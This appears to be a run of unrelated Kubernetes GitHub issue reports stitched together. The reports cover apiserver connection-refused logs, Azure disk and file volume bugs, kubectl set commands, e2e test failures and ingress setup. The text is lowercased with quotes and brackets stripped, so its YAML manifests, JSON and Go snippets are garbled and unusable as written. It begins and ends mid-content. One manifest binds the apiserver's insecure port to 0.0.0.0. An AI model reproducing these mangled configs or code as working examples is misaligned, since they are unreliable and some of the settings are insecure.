var-lib-kubernetes\        hostpath:         path: \ /var/lib/kubernetes\      - name: \ etcd-datadir\        hostpath:         path: \ /var/lib/etcd\    containers:      - name: \ etcd\        image: \ b.gcr.io/kuar/etcd:2.1.1\        args:          - \ --data-dir=/var/lib/etcd\          - \ --advertise-client-urls=http://127.0.0.1:2379\          - \ --listen-client-urls=http://127.0.0.1:2379\          - \ --listen-peer-urls=http://127.0.0.1:2380\          - \ --name=etcd\        volumemounts:         - mountpath: /var/lib/etcd           name: \ etcd-datadir\      - name: \ kube-apiserver\        image: \ b.gcr.io/kuar/kube-apiserver:1.0.3\        args:          - \ --admission-control=namespacelifecycle,namespaceexists,limitranger,securitycontextdeny,serviceaccount,resourcequota\          - \ --allow-privileged=true\          - \ --etcd-servers=http://127.0.0.1:2379\          - \ --tls-cert-file=/var/lib/kubernetes/apiserver.pem\          - \ --tls-private-key-file=/var/lib/kubernetes/apiserver-key.pem\          - \ --client-ca-file=/var/lib/kubernetes/ca.pem\          - \ --insecure-bind-address=0.0.0.0\          - \ --service-cluster-ip-range=10.200.20.0/24\          - \ --service-node-port-range=30000-37000\          - \ --v=2\        volumemounts:         - mountpath: /etc/kubernetes           name: \ etc-kubernetes\          - mountpath: /var/run/kubernetes           name: \ var-run-kubernetes\          - mountpath: /var/lib/kubernetes           name: \ var-lib-kubernetes\      - name: \ kube-controller-manager\        image: \ b.gcr.io/kuar/kube-controller-manager:1.0.3\        args:         - \ --root-ca-file=/var/lib/kubernetes/ca.pem\          - \ --service-account-private-key-file=/var/lib/kubernetes/ca-key.pem\          - \ --master=http://127.0.0.1:8080\          - \ --v=2\        volumemounts:         - mountpath: /var/run/kubernetes           name: \ var-lib-kubernetes\          - mountpath: /var/lib/kubernetes           name: \ var-lib-kubernetes\      - name: \ kube-scheduler\        image: \ b.gcr.io/kuar/kube-scheduler:1.0.3\        args:         - \ --master=http://127.0.0.1:8080\          - \ --v=2\          raw logs from the host:      aug 17 15:42:18 localhost kubelet 621 : e0817 15:42:18.242014     621 reflector.go:165  failed to watch  api.pod: get http://127.0.0.1:8080/api/v1/watch/pods?fieldselector=spec.nodename%3d127.0.0.1&resourceversion=308: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:18 localhost kubelet 621 : e0817 15:42:18.862907     621 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:18 localhost kubelet 621 : e0817 15:42:18.915542     621 kubelet.go:1641  error getting node: node 127.0.0.1 not found aug 17 15:42:18 localhost kubelet 621 : e0817 15:42:18.924649     621 mirror_client.go:68  failed deleting a mirror pod \ kube-controller-127.0.0.1_default\ : dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:18 localhost kubelet 621 : w0817 15:42:18.938026     621 status_manager.go:80  failed to updated pod status: error updating status for pod \ kube-proxy-127.0.0.1_default\ : get http://127.0.0.1:8080/api/v1/namespaces/default/pods/kube-proxy-127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:19 localhost kubelet 621 : e0817 15:42:19.088493     621 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:19 localhost kubelet 621 : e0817 15:42:19.243876     621 reflector.go:165  failed to watch  api.pod: get http://127.0.0.1:8080/api/v1/watch/pods?fieldselector=spec.nodename%3d127.0.0.1&resourceversion=308: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:19 localhost kubelet 621 : e0817 15:42:19.867560     621 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:20 localhost kubelet 621 : e0817 15:42:20.091406     621 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:20 localhost kubelet 621 : e0817 15:42:20.246767     621 reflector.go:165  failed to watch  api.pod: get http://127.0.0.1:8080/api/v1/watch/pods?fieldselector=spec.nodename%3d127.0.0.1&resourceversion=308: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:20 localhost kubelet 621 : e0817 15:42:20.872290     621 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:21 localhost kubelet 621 : e0817 15:42:21.094263     621 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:21 localhost kubelet 621 : e0817 15:42:21.247981     621 reflector.go:165  failed to watch  api.pod: get http://127.0.0.1:8080/api/v1/watch/pods?fieldselector=spec.nodename%3d127.0.0.1&resourceversion=308: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:21 localhost kubelet 621 : e0817 15:42:21.667231     621 event.go:194  unable to write event: 'put http://127.0.0.1:8080/api/v1/namespaces/default/events/127.0.0.1.13fb49f1d9cccd95: dial tcp 127.0.0.1:8080: connection refused'  may retry after sleeping  aug 17 15:42:21 localhost kubelet 621 : e0817 15:42:21.874687     621 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:22 localhost kubelet 621 : e0817 15:42:22.097179     621 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:22 localhost kubelet 621 : e0817 15:42:22.250848     621 reflector.go:165  failed to watch  api.pod: get http://127.0.0.1:8080/api/v1/watch/pods?fieldselector=spec.nodename%3d127.0.0.1&resourceversion=308: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:22 localhost kubelet 621 : e0817 15:42:22.877579     621 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:23 localhost kubelet 621 : e0817 15:42:23.100041     621 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:23 localhost kubelet 621 : e0817 15:42:23.253755     621 reflector.go:165  failed to watch  api.pod: get http://127.0.0.1:8080/api/v1/watch/pods?fieldselector=spec.nodename%3d127.0.0.1&resourceversion=308: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:23 localhost kubelet 621 : e0817 15:42:23.880487     621 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:24 localhost kubelet 621 : e0817 15:42:24.102766     621 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:24 localhost kubelet 621 : i0817 15:42:24.224424     621 kubelet.go:1942  recording nodeready event message for node 127.0.0.1 aug 17 15:42:24 localhost kubelet 621 : i0817 15:42:24.225564     621 kubelet.go:790  attempting to register node 127.0.0.1 aug 17 15:42:24 localhost kubelet 621 : i0817 15:42:24.226953     621 kubelet.go:793  unable to register 127.0.0.1 with the apiserver: post http://127.0.0.1:8080/api/v1/nodes: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:24 localhost kubelet 621 : e0817 15:42:24.256837     621 reflector.go:165  failed to watch  api.pod: get http://127.0.0.1:8080/api/v1/watch/pods?fieldselector=spec.nodename%3d127.0.0.1&resourceversion=308: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:24 localhost kubelet 621 : e0817 15:42:24.883377     621 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:25 localhost kubelet 621 : e0817 15:42:25.105509     621 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:25 localhost kubelet 621 : e0817 15:42:25.258440     621 reflector.go:165  failed to watch  api.pod: get http://127.0.0.1:8080/api/v1/watch/pods?fieldselector=spec.nodename%3d127.0.0.1&resourceversion=308: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:25 localhost kubelet 621 : e0817 15:42:25.886250     621 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:26 localhost kubelet 621 : e0817 15:42:26.107333     621 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:26 localhost kubelet 621 : e0817 15:42:26.260273     621 reflector.go:165  failed to watch  api.pod: get http://127.0.0.1:8080/api/v1/watch/pods?fieldselector=spec.nodename%3d127.0.0.1&resourceversion=308: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:26 localhost kubelet 621 : e0817 15:42:26.889150     621 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:27 localhost kubelet 621 : e0817 15:42:27.110283     621 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused

sometimes when you're running a local cluster with  hack/local-up-cluster.sh , and you hit control-c, the skydns etcd remains running.

we want to measure our test coverage of the api surface area.  this could involve scraping apiserver's logs and looking at the paths. we can talk about the best way to find all the things that _should_ be called.  part of  24753

as of node e2e can be run manually against gce vms using the jenkins specific scripts. this is non-obvious and is not easy to use.       allow test images to exist independent of user's project. for example, it should be possible to use public gce vm images without having to copy them to the user's project.     add a make rule to run tests against the standard set of images that jenkins tests against.  ideally, one should be able to run node e2e from os x as well similar to cluster e2e.  as a stretch goal, it is worth exploring running node e2e inside a docker container. this will make it easy to test locally without requiring a gcp account.

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.345+0f082c66630097-dirty\ , gitcommit:\ 0f082c6663009733a8192b63ca4052308889bfc8\ , gittreestate:\ dirty\ , builddate:\ 2016-11-10t06:07:31z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.345+0f082c66630097-dirty\ , gitcommit:\ 0f082c6663009733a8192b63ca4052308889bfc8\ , gittreestate:\ dirty\ , builddate:\ 2016-11-10t06:07:31z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  : linux\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : rhel 7.3\r -   install tools  : hack/local-up-cluster.sh\r \r   what happened  :\r 1. create storage class\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: slow\r provisioner: kubernetes.io/azure-disk\r parameters:\r   skuname: standard_zrs\r   location: eastus\r   storageaccount: someaccount\r    \r 2. create pvc annotated with this storage class\r    \r {\r   \ kind\ : \ persistentvolumeclaim\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ claim1\ ,\r     \ annotations\ : {\r       \ volume.beta.kubernetes.io/storage-class\ : \ slow\ \r     }\r   },\r   \ spec\ : {\r     \ accessmodes\ :  \r       \ readwriteonce\ \r      ,\r     \ resources\ : {\r       \ requests\ : {\r         \ storage\ : \ 1gi\ \r       }\r     }\r   }\r }\r    \r 3. create a pod consume this pvc\r 4. check read/write function with the mounted path\r 5. delete pod/pvc\r 6. check the pv status which is \ failed\ \r    \r $ kc describe pv pvc-b878db4c-a719-11e6-834b-000d3a14b644\r name:\t\tpvc-b878db4c-a719-11e6-834b-000d3a14b644\r labels:\t\t<none>\r storageclass:\tslow\r status:\t\tfailed\r claim:\t\tdefault/claim1\r reclaim policy:\tdelete\r access modes:\trwo\r capacity:\t1gi\r message:\tfailed to delete vhd https://someaccount.blob.core.windows.net/vhds/kubernetes-dynamic-pvc-b878db4c-a719-11e6-834b-000d3a14b644.vhd, account someaccount, blob kubernetes-dynamic-pvc-b878db4c-a719-11e6-834b-000d3a14b644.vhd, err: storage: service returned error: statuscode=412, errorcode=leaseidmissing, errormessage=there is currently a lease on the blob and no lease id was specified in the request.\r requestid:a244715f-0001-013b-3828-3b2cf6000000\r time:2016-11-10t08:02:09.5143459z, requestid=a244715f-0001-013b-3828-3b2cf6000000, queryparametername=, queryparametervalue=\r source:\r     type:\t\tazuredisk  an azure data disk mount on the host and bind mount to the pod \r     diskname:\t\tkubernetes-dynamic-pvc-b878db4c-a719-11e6-834b-000d3a14b644.vhd\r     diskuri:\t\thttps://someaccount.blob.core.windows.net/vhds/kubernetes-dynamic-pvc-b878db4c-a719-11e6-834b-000d3a14b644.vhd\r     fstype:\t\text4\r     cachingmode:\tnone\r     readonly:\t\tfalse\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   10s\t\t10s\t\t1\t{persistentvolume-controller }\t\t\twarning\t\tvolumefaileddelete\tfailed to delete vhd https://someaccount.blob.core.windows.net/vhds/kubernetes-dynamic-pvc-b878db4c-a719-11e6-834b-000d3a14b644.vhd, account someaccount, blob kubernetes-dynamic-pvc-b878db4c-a719-11e6-834b-000d3a14b644.vhd, err: storage: service returned error: statuscode=412, errorcode=leaseidmissing, errormessage=there is currently a lease on the blob and no lease id was specified in the request.\r requestid:a244715f-0001-013b-3828-3b2cf6000000\r time:2016-11-10t08:02:09.5143459z, requestid=a244715f-0001-013b-3828-3b2cf6000000, queryparametername=, queryparametervalue=\r \r    \r \r   what you expected to happen  :\r pv should not have \ failed\  status before deleted\r \r   how to reproduce it    as minimally and precisely as possible :\r always\r \r   anything else do we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : azurefile azure_file 0777\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : microsoft azure container service\r -   os    e.g. from /etc/os-release : ubuntu 16.04 lts\r -   kernel    e.g.  uname -a  : linux 4.4.0-28-generic  47-ubuntu smp fri jun 24 10:09:13 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r   what happened  :\r i attempted to set up an azure file volume using the built-in volume type azurefile.  everything works, except that the files and directories defaults to permission 0777, always.\r \r when i tried to manually mount within the container, i could customise dir_mode and file_mode, meaning that this change should be possible.  reading the source code confirms it - dir_mode=0777 and file_mode=0777 seem hardcoded.\r \r   what you expected to happen  :\r being able to supply dir_mode and file_mode to the mount. e.g.\r    \r - name: myvolume\r   azurefile:\r     secretname: supersecret\r     sharename: myshare\r     readonly: false\r     dirmode: 0400\r     filemode: 0400\r    \r   how to reproduce it    as minimally and precisely as possible :\r n/a.  this is a feature request.\r \r   anything else do we need to know  :\r n/a\r

  \r   what happened  :\r  tounstructured    method in converter from  apimachinery/pkg/conversion/unstructured  assumes the destination map is empty. i almost introduced a bug where i expected it to overwrite contents of the map i have - i think this is a natural thing to expect, isn't it? this is a landmine imho.\r \r   what you expected to happen  :\r map contents should be fully overwritten. looking at all the usages in k8s codebase, an empty map is always created before this method is invoked. why not make this method return a freshly allocated map instead of taking it as an argument?\r \r   how to reproduce it  as minimally and precisely as possible   :\r see https://github.com/atlassian/kubernetes/commit/07bdb170001534c208303350cae4d4173cd32571\r test output:\r    shell\r converter_test.go:480: unexpected dest size received from tounstructured: 1: map a:1 \r converter_test.go:498: unexpected dest received from tounstructured: map a:1 b:2 \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r head\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   what happened  :\r \r currently when user tries to create a super privileged psp, it will require cluster admin to list all linux capabilities in psp  defaultaddcapabilities  field. it would be boring to get all the linux capabilities and put them in psp spec.\r \r   what you expected to happen  :\r just like  volumes  field in psp. can we specify     to allow all linux capabilities?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  : feature request\r \r   what happened  : grpc log can never print out because we don't specify a logger when new a v3 client\r   what you expected to happen  : grpc log can be print out when the  --v  is bigger, say 4.\r   how to reproduce it  as minimally and precisely as possible   : always\r   anything else we need to know?  : \r \r unless we specify a logger to cfg, the  newclient  function of v3 client will set the it's own logger to discard. \r    \r \tif cfg.logger != nil {\r \t\tlogger.set cfg.logger \r \t} else {\r \t\t// disable client side grpc by default\r \t\tlogger.set log.new ioutil.discard, \ \ , 0  \r \t}\r    \r

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r / umbrella issue:  56062 \r \r   what happened  :\r load test in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8368 failed with:\r    \r i1127 04:09:07.048        error while scaling rc load-medium-4 to 34 replicas: scaling the resource failed with: the server was unable to return a response in the time allotted, but may still be processing the request  put replicationcontrollers load-medium-4 ; current resource version 75105\r    \r \r looking at the log, there was another similar failure at that time and some  context deadline exceeded  errors.

what happened  :\r \r i wanted to run the e2e network policy tests with:  kubetest --provider=skeleton --test --test_args=\ --ginkgo.focus=\\ feature:networkpolicy\\ \   and i noticed that all tests are failing  i actually don't know why nobody has noticed this before .  looking into the logs i saw the following errors:\r \r    bash\r     pod logs:\r     /bin/sh: curl: not found\r     /bin/sh: curl: not found\r     /bin/sh: curl: not found\r     /bin/sh: curl: not found\r     /bin/sh: curl: not found\r ...    \r    \r \r which are correct because the tests using  busybox:1.29  as \ client\  which doesn't contain  curl .\r \r   what you expected to happen  :\r \r the e2e tests for network policies should actually pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just run:  kubetest --provider=skeleton --test --test_args=\ --ginkgo.focus=\\ feature:networkpolicy\\ \  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    bash\r kubectl version                                                                                             \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-04t04:48:03z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-15t23:29:42z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: kind\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i apologize in advance if this is already documented  but i looked and couldn't find anything .\r \r i'm dealing with a case where a loadbalancer service gets scheduled onto a host that is about to be terminated. ideally i'd be able to use a node selector to limit this to hosts that i know will not be terminated  before the service itself will be deleted .

for 1.3 we'll be considering adding a number of commands developed upstream in openshift into kubectl - specifically, commands that assist the user in performing very common mutations to our core objects.\r \r current implementations are:\r - adding or removing volumes from an object with a pod template\r - adding or removing environment variables from an object with a pod template\r - adding or removing liveness and readiness probes from objects with a pod template.\r \r as proposed in https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/deploy.md kubectl-set, these commands would live under  kubectl set  and operate generically on classes of objects  for the commands above, they would operate on objects with mutable pod templates, for other commands, more generic structure should be possible .\r \r the commands would take as input a json/yaml file, a real object on the server, or a synthetic resource generated by looking at multiple server resources, transform the object, and create a patch on the original object that results in the desired mutation.  the patch would be applied to the object and then the object mutated on the server.\r \r it should be possible to specify  -o yaml  and generate a file that can be chained to later commands, for instance:\r \r    \r kubectl set volume -f deployment.yaml --add --claim-name=foo -o yaml | kubectl set probe --liveness --get-url=https://foo.bar -o yaml | kubectl apply -f -\r    \r \r we need to ensure the usability of chaining  both apply, patch, replace, and create are all viable terminations  as part of this work.\r \r in practice, we have found it valuable to have the default mode for the set commands to \ list\  the current state in a pattern that enables users to guess at what they need to do to change the field.  mutation via cli flags is hard - each flag must be carefully chosen to balance ease of comprehension with ability to express most of the api.  it is acceptable to punt some use cases in mutation to the  edit  command.  most commands should focus on having a \ clear\  or \ remove\  flag that can remove a targeted entry, a simple set of flags that set the default values, and where possible try to support the minimum amount of simultaneous change.\r \r set commands should have a consistent code pattern to make implementing new setters easy.  as much as possible, it should be able to take an existing set command, define a business transformation  adding x to y  and map that to existing code that is tested in a standard way, following https://github.com/kubernetes/kubernetes/blob/master/docs/devel/kubectl-conventions.md command-implementation-conventions.\r \r openshift implementations of the various commands need varying levels of cleanup:\r -  oc set env  is the oldest of the downstream implementations and does not support downward api flags at the current time.  however, it is tuned very well to make adding and removing structured variables easy.  https://github.com/openshift/origin/blob/master/pkg/cmd/cli/cmd/set/env.go\r -  oc set volumes  is the most complex of the commands today - given the number of volumes we have a choice was made to focus on the most common  claims, empty dir, secrets  and force users to patch other commands.  helpers were added to make creating a claim and adding it to a template very easy.  https://github.com/openshift/origin/blob/master/pkg/cmd/cli/cmd/set/volume.go\r -  oc set probe  is brand new and formalizes some of the more recent kubectl behaviors into a set of core library methods  specifically, iteratively patching a set of objects  as well as handling the transformation pattern cleanly.  https://github.com/openshift/origin/pull/7331\r -  oc set triggers  represents a command that exposes a generic interface across two similar, but not identical concepts  build and deployment triggers, which result in a mutation of the object based on external stimulus .  it is the most complex because the underlying api is dissimilar, but tries to present a common and simple pattern to users.  it explicitly does not handle setting multiple triggers of certain types at a time as an 80% use case solution.  https://github.com/openshift/origin/pull/7423\r \r | subcommand | pr   | assignee |\r | --- | --- | --- |\r | \\-  x  image |  25509 | @janetkuo |\r | \\-  x  selector |  38966 | @kargakis |\r | \\-  x  serviceaccount |  48432 | @chandanmad |\r | \\-  x  env |  50998 | @zjj2wry |\r | \\-     probe |  52243 | @zjj2wry |\r | \\-     volume |  |  |\r | \\-  x  resources |  27206 | @jacobtanenbaum |\r | \\-     security |  |  |\r | \\-     port |   51947  |  @zjj2wry  |\r

kubelet gets some items  .dockercfg  from its working directory  / on gce , but some other items it pulls from a \ rootdir\  that is right now a constant of /var/lib/kubelet. we should reduce these two places down to one place, or make it very clear what goes where and why we have to have two places.

i have pods that are restarting often with the message   failedsync error syncing pod, skipping: get http://unix.sock/containers/json?all=1: dial unix /var/run/docker.sock: no such file or directory .   this is running on aws and the cluster was setup using  kube-up.sh . what could be wrong?          error syncing pod, skipping: failed to \ killcontainer\  for \ jenkins\      with killcontainererror: \ post http://unix.sock/containers/59054ab9fa813858922a42cec3e96d4b818285ed17a0cd1787249c7da5ade67f/stop?t=30:    dial unix /var/run/docker.sock: no such file or directory\

if anonymous access is turned on  default as of 1.6 , as far as i can tell it is not currently possible to determine if authentication headers that were passed along succeeded and were used or if the system as defaulted back to system:anonymous.\r \r this makes for bad ui for tools that want to give feedback to end users if the given credentials worked or not such as the proposed    kubectl login    command.  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/kubectl-login.md \r \r i almost feel like system:anonymous should be reserved for requests that did not present any credentials at all as part of the request. if the request had an authorization header or used a client cert and those credentials did not validate then we should return a 401 and fail the request. \r \r but i'm assuming that was already discussed and there are reasons that we chose not to do that. if that's the case then are other options that could be added to make this work.\r \r there have been several proposals that i've found that would resolve this but none seem to have gotten enough traction.\r \r there is  30829 which would have added headers that would have allowed checking if the auth succeeded. that was closed for lack of activity. there is  30784 which would add a whoami endpoint, but judging from the comments seems unlikely to get in.\r \r another suggestion i had was to add the user data back to to subjectaccessreviewstatus so that selfsubjectaccessreview requests can report back what was actually used to check for access. that would allow a check to see if the creds passed were actually used or if we defaulted back to system:anonymous.

the cni host function getpodportmappings also includes unmapped ports with a hostport of 0  this is apparently by design . this is normal, and the cni network plugin invoker should not attempt to map these ports. instead, it passes them through to the underlying cni plugin.\r \r the default plugin then happily sets up mappings form port 0 to the container.\r \r the cni shim should ignore hostport = 0. this matches the functionality in the kubenet hostport mapper.

schedulerpriorities  serial  pod should avoid to schedule to node that have avoidpod annotation 1m7s\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:313\r expected error:\r     < errors.statuserror | 0xc421a04e00>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ pod \\\ priority-balanced-mem-gke-bootstrap-e2e-default-pool-d982b47e-2flh-0\\\  is invalid:  metadata.labels: invalid value: \\\ priority-balanced-mem-gke-bootstrap-e2e-default-pool-d982b47e-2flh-0\\\ : must be no more than 63 characters, spec.containers 0 .name: invalid value: \\\ priority-balanced-mem-gke-bootstrap-e2e-default-pool-d982b47e-2flh-0\\\ : must be no more than 63 characters \ ,\r             reason: \ invalid\ ,\r             details: {\r                 name: \ priority-balanced-mem-gke-bootstrap-e2e-default-pool-d982b47e-2flh-0\ ,\r                 group: \ \ ,\r                 kind: \ pod\ ,\r                 uid: \ \ ,\r                 causes:  \r                     {\r                         type: \ fieldvalueinvalid\ ,\r                         message: \ invalid value: \\\ priority-balanced-mem-gke-bootstrap-e2e-default-pool-d982b47e-2flh-0\\\ : must be no more than 63 characters\ ,\r                         field: \ metadata.labels\ ,\r                     },\r                     {\r                         type: \ fieldvalueinvalid\ ,\r                         message: \ invalid value: \\\ priority-balanced-mem-gke-bootstrap-e2e-default-pool-d982b47e-2flh-0\\\ : must be no more than 63 characters\ ,\r                         field: \ spec.containers 0 .name\ ,\r                     },\r                  ,\r                 retryafterseconds: 0,\r             },\r             code: 422,\r         },\r     }\r     pod \ priority-balanced-mem-gke-bootstrap-e2e-default-pool-d982b47e-2flh-0\  is invalid:  metadata.labels: invalid value: \ priority-balanced-mem-gke-bootstrap-e2e-default-pool-d982b47e-2flh-0\ : must be no more than 63 characters, spec.containers 0 .name: invalid value: \ priority-balanced-mem-gke-bootstrap-e2e-default-pool-d982b47e-2flh-0\ : must be no more than 63 characters \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:256\r    \r \r looks like the node name is too long\r \r @kubernetes/sig-scheduling-bugs @pwittrock @krousey

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r pkg/controller/service/service_controller.go  func createloadbalancerifneeded does not check existence of loadbalance before createloadbalancer. \r   what you expected to happen  :\r it is graceful to check existence of lb, only call createloadbalancer when no lb found\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

env\r    \r kubernets: 1.7.6\r install method: kubeadm\r    \r ingress\r    \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   namespace: kube-system\r   name: kube-system-ingress\r spec:\r   rules:\r   - host: kibana.k8s.com\r     http:\r       paths:\r       - backend:\r           servicename: kibana-logging\r           serviceport: 5601\r   - host: grafana.k8s.com\r     http:\r       paths:\r       - backend:\r           servicename: monitoring-grafana\r           serviceport: 80\r   - host: dashboard.k8s.com\r     http:\r       paths:\r       - backend:\r           servicename: kubernetes-dashboard\r           serviceport: 80\r    \r grafana change the env  gf_server_root_url   can access\r \r the kibana change server_basepath pod logs have error\r    \r  env:\r           - name: elasticsearch_url\r             value: http://elasticsearch-logging:9200\r           - name: server_basepath\r             value: /\r              value: /api/v1/proxy/namespaces/kube-system/services/kibana-logging\r           - name: xpack_monitoring_enabled\r             value: \ false\ \r           - name: xpack_security_enabled\r             value: \ false\ \r    \r log error\r    \r fatal { validationerror: child \ server\  fails because  child \ basepath\  fails because  